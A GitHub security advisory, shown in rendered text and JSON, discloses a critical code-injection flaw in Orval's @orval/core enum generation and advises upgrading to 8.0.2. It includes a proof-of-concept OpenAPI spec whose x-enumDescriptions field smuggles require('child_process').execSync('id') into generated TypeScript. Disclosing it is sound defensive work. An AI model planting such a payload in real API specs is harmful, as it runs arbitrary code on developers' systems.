GHSA-H526-WF6G-67JV

Vulnerability from github – Published: 2026-01-21 01:01 – Updated: 2026-01-21 17:08
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Summary
Orval has a code injection via unsanitized x-enum-descriptions in enum generation
Details

Impact

Arbitrary code execution in environments consuming generated clients

This issue is similar in nature to the recently-patched MCP vulnerability (CVE-2026-22785), but affects a different code path in @orval/core that was not addressed by that fix.

The vulnerability allows untrusted OpenAPI specifications to inject arbitrary TypeScript/JavaScript code into generated clients via the x-enumDescriptions field, which is embedded without proper escaping in getEnumImplementation(). I have confirmed that the injection occurs during const enum generation and results in executable code within the generated schema files.

Patches

Upgrade to Orval 8.0.2

References

An example OpenAPI showing the issue:

openapi: 3.0.4
info:
  title: Enum PoC
  version: "1.0.0"

paths:
  /ping:
    get:
      operationId: ping
      responses:
        "200":
          description: ok
          content:
            application/json:
              schema:
                $ref: "#/components/schemas/EvilEnum"

components:
  schemas:
    EvilEnum:
      type: string
      enum:
        - PWNED
      x-enumDescriptions:
        - "pwned */ require('child_process').execSync('id'); /*"
Severity
9.3 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
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        "name": "@orval/core"
      },
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  "aliases": [
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      "CWE-77",
      "CWE-94"
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    "github_reviewed_at": "2026-01-21T01:01:13Z",
    "nvd_published_at": "2026-01-20T01:15:57Z",
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  },
  "details": "### Impact\nArbitrary code execution in environments consuming generated clients\n\nThis issue is similar in nature to the recently-patched MCP vulnerability (CVE-2026-22785), but affects a different code path in @orval/core that was not addressed by that fix.\n\nThe vulnerability allows untrusted OpenAPI specifications to inject arbitrary TypeScript/JavaScript code into generated clients via the x-enumDescriptions field, which is embedded without proper escaping in getEnumImplementation(). I have confirmed that the injection occurs during const enum generation and results in executable code within the generated schema files.\n\n### Patches\nUpgrade to Orval 8.0.2\n\n### References\nAn example OpenAPI showing the issue:\n\n```yaml\nopenapi: 3.0.4\ninfo:\n  title: Enum PoC\n  version: \"1.0.0\"\n\npaths:\n  /ping:\n    get:\n      operationId: ping\n      responses:\n        \"200\":\n          description: ok\n          content:\n            application/json:\n              schema:\n                $ref: \"#/components/schemas/EvilEnum\"\n\ncomponents:\n  schemas:\n    EvilEnum:\n      type: string\n      enum:\n        - PWNED\n      x-enumDescriptions:\n        - \"pwned */ require(\u0027child_process\u0027).execSync(\u0027id\u0027); /*\"\n```",
  "id": "GHSA-h526-wf6g-67jv",
  "modified": "2026-01-21T17:08:30Z",
  "published": "2026-01-21T01:01:13Z",
  "references": [
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      "url": "https://github.com/orval-labs/orval/security/advisories/GHSA-h526-wf6g-67jv"
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      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23947"
    },
    {
      "type": "WEB",
      "url": "https://github.com/orval-labs/orval/commit/9e5d93533904936678ba93b5d20f6bca176a4e1e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/orval-labs/orval"
    },
    {
      "type": "WEB",
      "url": "https://github.com/orval-labs/orval/releases/tag/v7.19.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/orval-labs/orval/releases/tag/v8.0.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Orval has a code injection via unsanitized x-enum-descriptions in enum generation"
}



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